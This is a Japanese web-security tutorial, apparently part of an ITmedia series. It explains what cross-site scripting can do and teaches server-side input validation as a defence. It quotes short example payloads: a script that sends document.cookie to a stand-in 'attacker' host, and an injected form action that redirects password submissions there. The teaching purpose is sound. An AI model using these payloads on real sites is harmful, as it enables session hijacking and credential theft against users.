前編では、Webアプリケーションに潜むセキュリティホール、「クロスサイトスクリプティング(XSS)」とはどのような脆弱性であるのかについて述べた。中・後編では起こり得る被害についてと、どのように対策をすればよいのかを解説していく。
XSSセキュリティホールによる起こり得る被害
XSSのセキュリティホールがあると、攻撃者はそこを狙った攻撃をするだろう。しかし攻撃といっても、セキュリティホールがあるWebサイトに対する攻撃ではなく、そのWebサイトの利用者に対する攻撃となる。
またユーザーに対する攻撃というといままでにも、悪意のあるスクリプトが仕掛けられた(攻撃者の)Webサイトにアクセスしたユーザーが被害を受けるというものもあった。XSSを利用した攻撃も、攻撃者のWebサイトにユーザーがアクセスして被害が起こるという点は変わらないが、仕込まれているスクリプトがどこから送られてくるのかが違うために、異なる被害が発生することになる。
図1において、スクリプトが実行されるのは6の段階であるが、このページがどこで生成され送信されているかというと、XSSのセキュリティホールがある「脆弱サイト」ということになる。つまり利用者からすると、脆弱サイトから送られてきたスクリプトがブラウザ上で実行されることになり、利用者が直接的な被害を受けることになる。
スクリプトからアクセスできる情報の範囲は、そのスクリプトを含んだページ内に限られる。例えば、攻撃者のサイト(http://attacker/cookie.html)に次のようなcookieにアクセスするスクリプトがあったとする。
<script> alert(document.cookie); </script>
このスクリプトがアクセスできるcookieは、スクリプトが送られてきたページ、つまりhttp://attacker/cookie.htmlに起因するcookieだけである。他サイトで発行されているcookieにアクセスすることはできない。
しかしXSSのセキュリティホールがあると、このようなスクリプトを含んだページが脆弱サイトから送られてくることになる。よって、そのスクリプトがアクセスできるcookieは、脆弱サイトで発行されたcookieとなる。
この動作の違いにより、単に攻撃者の用意した悪意のあるスクリプトが実行された場合とは異なる被害が発生する。その主な被害を次に挙げる。
●cookieの盗難
これがXSSの被害としては一般に広く知られている。「document.location="http://attacker/cookie.cgi?cookie="+document.cookie;」というスクリプトを実行されると、攻撃者サイトのcookie.cgiにユーザーのcookieを含んだ形でアクセスすることになる。攻撃者サイトのWebサーバのログにも残るだろうし、cookieデータを受けたCGIではどんな処理でもできることになる。
さらに、cookieを記録後に元のページを表示するような仕掛けを攻撃者が用意していれば、ユーザーはcookieが盗まれたことにさえ気が付かないであろう。
ただし、単にcookieが盗まれただけではほとんど被害は起きない。被害が起きるのは、このcookieの中に含まれる情報の内容に問題があったり、cookieの使い方に問題があるWebアプリケーションを使用している場合だ。
cookieに含まれている情報に問題がある例として、サイトにログインするためのユーザーIDとパスワードを保存しているWebアプリケーションがあるとする。このcookieを盗まれてしまうと、攻撃者が他人になりすましてログインすることができてしまうことになる。
cookieに個人情報を含まず、セッションIDのような情報だけを格納している場合でも、cookieのセッションIDだけでユーザー認証を行っている場合は危険である。盗まれた(cookieに含まれている)セッションIDを攻撃者が使うと、正規のユーザーのセッションを乗っ取ることができる。セッションを乗っ取られてしまうと、正規のユーザーが行えることがすべて攻撃者によって行われてしまうことになる。
●ページの改ざん
スクリプトの実行だけに注意していればよいかというとそういうわけではない。
<script></script>の代わりに<img>のような画像を表示させるタグが挿入されると、本来のページとはまったく関係のない画像が表示されることになるだろう。任意のタグが使えるようであれば、ページの一部を変更したものをユーザーに見せることも、「倒産しました」というような一文を加えた本物のトップページによく似たページを作ることも可能になる。それを見て信じてしまう人も少なくないだろう。その結果、問い合わせが殺到したり、株価が暴落してしまったりといった2次的な被害が起きることが十分考えられる。
さらに、フォームの送信先を変えることもできる。ユーザー入力が○○の場合に、
<form action="regist.cgi">
<input type="hidden" name="sample" value="○○">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>
と出力するページに対して、「"></form><form action="http://attacker/regist.cgi」と入力されてしまうと、結果的に出力されるページは、
<form action="regist.cgi">
<input type="hidden" name="sample" value=""></form><form action="http://attacker/regist.cgi">
パスワード: <input type="text" name="name" value="password">
<input type="submit">
</form>
となり、ユーザーが何かの入力をして送信するとその内容が攻撃者のサイトへ送信されるようなページを作ることが可能である。
HTTPおよびHTML文内の特殊文字の対策
HTTPおよびHTML中において、特別な意味を持つ文字として定義されている文字がいくつかある。有名なところで「<」と「>」は、HTMLの構成を記述するためのタグの開始と終了を表すための区切り文字として使用する、という特別な意味を持っている。
これらの特殊文字をHTML文書中に記述する必要がある場合は、適切な方法で変換しなければならない。XSSの脆弱性のあるWebアプリケーションのほとんどは、これらの特殊文字の存在を意識しないで作ってしまっている欠陥プログラムである。この対策方法をよく読み、欠陥プログラムを作らないようにしていただきたい。
●対策の流れ
アプリケーションは、入力値を受け取り、それを処理し、出力する、という極めて単純な流れの組み合わせで作られているだろう。
XSSが問題になるのは、「ブラウザに出力する」処理の部分でプログラムミスがある場合に起こる。この部分で「<」と「>」などの特殊文字をサニタイジング(無害化:詳細は次回解説)すればいいのだが、ちょっと待ってほしい。そもそも特殊文字を受け付ける必要があるのかどうかをよく考える必要がある。
XSS対策の最初の一歩は、「入力チェック」である。その後、入力チェックに漏れた特殊文字を、出力の直前に処理する、という流れになる。
XSS対策の最初の一歩は「入力チェック」
入力チェックを正しく行うことによって、「OSコマンドインジェクション」「SQLインジェクション」「バッファオーバーフロー」といったXSS以外のセキュリティホールの対策となる場合がほとんどである。非常に意味のあるプロセスなので、確実に行ってほしい。
※OSコマンドインジェクション
リクエストにOSコマンドをインジェクション(混ぜ込む)し、サーバ上で任意のOSコマンドを実行させる攻撃。サーバのパスワードファイルの奪取、Webページの改ざん、管理者権限の奪取などを行われてしまう恐れがある。
※SQLインジェクション
リクエストに SQL コマンドをインジェクションし、任意のSQLコマンドを実行させる攻撃。これによりデータベースに格納されているデータの参照、データの操作、ストアドプロシージャへの不正なアクセス、外部プログラムの不正な呼び出しができてしまう恐れがある。
次のような郵便番号の入力欄がある場合を考える。
ご存じのとおり日本の郵便番号には、
- 前半部分は、数字3けたで構成される
- 後半部分は、数字4けたで構成される
というルールがある。よって、アルファベットや記号など数字以外の文字やこれよりも長い数字が入力されている場合は、不正な入力が行われたとして処理する必要があるだろう。郵便番号に限らず、それぞれのパラメータには入力値として許可する値が決まっているはずであるので、処理をする前によく考えてほしい。
- 常識的に決まっているルール
- 誕生月(数字のみ、1〜12のいずれか)
- 都道府県名(北海道、青森県……鹿児島県、沖縄県のいずれか)
- アプリケーションが個別に決めているルール
- ユーザー名(半角英字のみ8文字以下)
- 商品コード(半角英数字32文字)
もし不正な値が入力された場合、セキュリティ以前の問題としてアプリケーションが誤動作してしまうことにもなりかねない。不正な値が入力されたら再入力を促すなどのエラー処理を行えばよいだけなのだが、それさえも行っていないWebアプリケーションが非常に多く見受けられる。これらのことは基本中の基本であるので、確実に行ってほしい。
入力チェックの落とし穴
入力チェックは、サーバ側ですべてのパラメータについて毎回必ず行う必要がある。なぜ同じような話がまた出てくるかというと、入力チェックをしたつもりになっているだけで効果のない実装をしているケースが多々あるからである。ここでのポイントは3つある。
- サーバ側
- すべてのパラメータ
- 毎回
1.サーバ側でチェックをする
JavaScriptで入力チェックをしているページに出合うことがある。郵便番号欄にアルファベットを入力すると、再入力するようにメッセージが出てくる(図4)。
これだけで郵便番号欄の入力チェック完了、とするのは間違いであるので注意しなければならない。例えば、JavaScriptの実行をOffにしているユーザーはどうだろうか。JavaScriptによる入力チェックがされないので、不正な値がサーバに送信されることになる。
また、入力フォームを攻撃者が用意していてそこからアクセスされてしまうと、JavaScriptによるチェックはまったく機能しない。JavaScriptなどによるクライアント側の入力チェックは、ユーザーの入力ミスを正す効果については期待できるが、セキュリティの効果はまったくないので、クライアント側チェックの有無にかかわらずサーバ側でのチェックをすることを忘れてはいけない。
2.すべてのパラメータをチェックをする
図5はラジオボタンを使ったアプリケーションの例である。年齢を入力し3つの中から好きなケーキの種類を選択して送信する。
<form method="POST" action="input.cgi"> 年齢を入力してください: <input type="text" size="3">歳<br> <p> どのケーキが一番好きですか?<br> <input type="radio" name="cake" value="marron">マロンケーキ<br> <input type="radio" name="cake" value="crape">クレープ<br> <input type="radio" name="cake" value="chocolat">チョコレートケーキ<br> <input type="submit" value="送信"> </form>
年齢欄の入力チェックを正しく行っただけでは不十分である。このページで送信ボタンを押すと、ネットワーク上では以下のようにデータが送信されている。
POST /path/cake.cgi HTTP/1.0 (途中省略) age=18&cake=marron
ここにはラジオボタンから選択されたかどうかの情報はまったく含まれておらず、パラメータ名とパラメータ値が列挙されているだけとなる。攻撃者は次のように、ラジオボタンの代わりに年齢欄と同様のテキストボックスにしたページを用意する。
<form method="POST" action="http://www.example.com/input.cgi"> 年齢を入力してください: <input type="text" size="3">歳<br> どのケーキが一番好きですか? <input type="text" name="cake" value="イチゴショート"><br> <input type="submit" value="送信"> </form>
ここからデータを送信すれば、選択項目として存在しないケーキを選択できることになる。
POST /path/cake.cgi HTTP/1.0 (途中省略) age=18&cake=イチゴショート
ラジオボタンのほかにもセレクトボックス、チェックボックス、Hiddenフィールド、Cookieの値など、一見限られた種類の値だけしか入力されないように思えるものがあるが、同様の手法により任意の値を入力される可能性がある。
よって、すべてのパラメータに対して忘れずに入力チェックをしなければならない。この例の場合であれば、“cakeパラメータは、marronかcrapeかchocolateのどれかでなければいけない”という“アプリケーションが個別に決めているルール”があることになる。
3.毎回チェックをする
大規模な応募フォームなど、複数のページに渡ってユーザーに入力をさせるシステムがある。
例えば、
(1) 名前、電話番号、郵便番号の入力ページ
↓
(2) 住所の入力ページ
↓
(3) 応募完了
こういうシステムのアプリケーションによく見られるのが、(2)住所入力ページのHiddenフィールドに名前、電話番号、郵便番号を隠しておく、という方法だ。次にユーザーが住所を入力して送信すると、名前、電話番号、郵便番号、住所すべてが送信される。
<form method="POST" action="input3.cgi"> 氏名: 国分裕<br> 電話番号: 03-5641-****<br> 郵便番号: 103-****<br> 住所: 東京都中央区日本橋人形町○丁目 <input type="text" name="address2"><br> <input type="hidden" name="name" value="国分"> <input type="hidden" name="tel" value="03-5641-****"> <input type="hidden" name="postal" value="103-****"> <input type="hidden" name="address1" value="東京都中央区日本橋人形町○丁目"> <input type="submit" value="送信"> </form>
ここで入力チェックを忘れていることが多い。確かに、Hiddenフィールドに書かれている名前、電話番号、郵便番号は、(2)の段階でチェック済みの値である。
しかし前項で説明したようにHiddenフィールドの値は簡単に書き換えることができる。そのため(2)でチェックした値がそのまま(3)に送信されてくるという保障はまったくない。
よって(3)では新たな住所の入力チェックに加え、(2)でチェックした名前・電話番号・郵便番号の項目についても再度入力チェックを行わなければならない。これが嫌ならば、Hiddenは使わずにサーバ側のデータベースやファイルなどに一時保存する方法しかないだろう。
今回は、XSS対策として見落としがちな「入力チェック」が重要であることを解説した。次回は、特殊文字のサニタイジングを中心に、セキュリティホールへの対策について解説を行っていく。
Profile
国分 裕(こくぶ ゆたか)
三井物産株式会社GTIプロジェクトセンタ勤務。セキュリティコンサルタントとして、不正アクセス監視やセキュリティ検査 などに従事している。金融機関、官公庁、大手製造業などへのセキュリティシ ステムの導入、セキュリティ検査などの実績を持つ。
三井物産株式会社GTIプロジェクトセンタ(現:三井物産セキュアディレクション株式会社)
主に、不正アクセス監視サービス、セキュリティ検査、セキュリティポリシー策定支援などのサービス提供している。また、セキュリティに関する教育サービスも実施中。
Copyright © ITmedia, Inc. All Rights Reserved.